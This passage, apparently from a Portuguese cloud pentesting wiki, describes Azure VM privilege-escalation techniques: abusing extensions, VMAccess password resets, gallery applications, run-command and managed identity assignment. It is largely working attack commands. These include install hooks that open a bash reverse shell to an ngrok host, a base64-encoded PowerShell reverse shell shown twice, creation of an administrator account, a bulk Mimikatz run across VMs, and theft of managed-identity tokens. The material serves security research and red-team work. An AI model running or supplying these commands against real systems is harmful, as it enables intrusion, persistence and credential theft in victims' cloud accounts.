Esta permissão permite executar extensões em máquinas virtuais que permitem executar código arbitrário nelas.
Exemplo de abuso de extensões personalizadas para executar comandos arbitrários em uma VM:
Você também pode executar outras cargas úteis como: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
Redefinir senha usando a extensão VMAccess
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
Também é possível abusar de extensões bem conhecidas para executar código ou realizar ações privilegiadas dentro das VMs:
Extensão VMAccess
Esta extensão permite modificar a senha (ou criar se não existir) de usuários dentro de VMs Windows.
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
DesiredConfigurationState (DSC)
Esta é uma extensão de VM que pertence à Microsoft e usa PowerShell DSC para gerenciar a configuração das VMs do Azure. Portanto, pode ser usada para executar comandos arbitrários em VMs do Windows através desta extensão:
Esta é uma extensão de VM que permitiria executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o serviço de Contas de Automação.
Estas são as permissões necessárias para criar um novo aplicativo de galeria e executá-lo dentro de uma VM. Aplicativos de galeria podem executar qualquer coisa, então um atacante poderia abusar disso para comprometer instâncias de VM executando comandos arbitrários.
As últimas 2 permissões podem ser evitadas compartilhando o aplicativo com o locatário.
Exemplo de exploração para executar comandos arbitrários:
# Create gallery (if the isn't any)azsigcreate--resource-groupmyResourceGroup \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellApp \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Linux \--location "West US 2"# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileazsiggallery-applicationversioncreate \--version-name 1.0.2 \--application-name myReverseShellApp \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name <vm-name> \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \--treat-deployment-as-failure true
# Create gallery (if the isn't any)azsigcreate--resource-group<rsc-group> \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellAppWin \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Windows \--location "West US 2"# Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
azsiggallery-applicationversioncreate \--version-name 1.0.0 \--application-name myReverseShellAppWin \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "powershell.exe -EncodedCommand $encodedCommand" \--remove-command "powershell.exe -EncodedCommand $encodedCommand" \--update-command "powershell.exe -EncodedCommand $encodedCommand"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name deleteme-win4 \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \--treat-deployment-as-failure true
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action# Execute a rev shellazvmrun-commandinvoke \--resource-group Research \--name juastavm \--command-id RunPowerShellScript \--scripts @revshell.ps1## Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content ofecho"powershell.exe -EncodedCommand $encodedCommand">revshell.ps1# Try to run in every machineImport-moduleMicroBurst.psm1Invoke-AzureRmVMBulkCMD-ScriptMimikatz.ps1-Verbose-outputOutput.txt
Microsoft.Compute/virtualMachines/login/action
Esta permissão permite que um usuário faça login como usuário em uma VM via SSH ou RDP (desde que a autenticação do Entra ID esteja habilitada na VM).
Login via SSH com az ssh vm --name <vm-name> --resource-group <rsc-group> e via RDP com suas credenciais regulares do Azure.
Todas essas são as permissões necessárias para criar uma VM com uma identidade gerenciada específica e deixar uma porta aberta (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e roube tokens de identidade gerenciada para escalar privilégios para ela.
Dependendo da situação, mais ou menos permissões podem ser necessárias para abusar dessa técnica.
azvmcreate \--resource-group Resource_Group_1 \--name cli_vm \--image Ubuntu2204 \--admin-username azureuser \--generate-ssh-keys \--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \--nsg-rule ssh \--location "centralus"# By default pub key from ~/.ssh is used (if none, it's generated there)
Essas permissões são suficientes para atribuir novas identidades gerenciadas a uma VM. Note que uma VM pode ter várias identidades gerenciadas. Ela pode ter a identidade atribuída pelo sistema e muitas identidades gerenciadas pelo usuário.
Então, a partir do serviço de metadados, é possível gerar tokens para cada uma.
# Get currently assigned managed identities to the VMazvmidentityshow \--resource-group <rsc-group> \--name <vm-name># Assign several managed identities to a VMazvmidentityassign \--resource-group <rsc-group> \--name <vm-name> \--identities \/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
Então, o atacante precisa ter comprometido de alguma forma a VM para roubar tokens das identidades gerenciadas atribuídas. Confira mais informações em:
De acordo com a documentação, esta permissão permite gerenciar o SO do seu recurso via Windows Admin Center como administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs...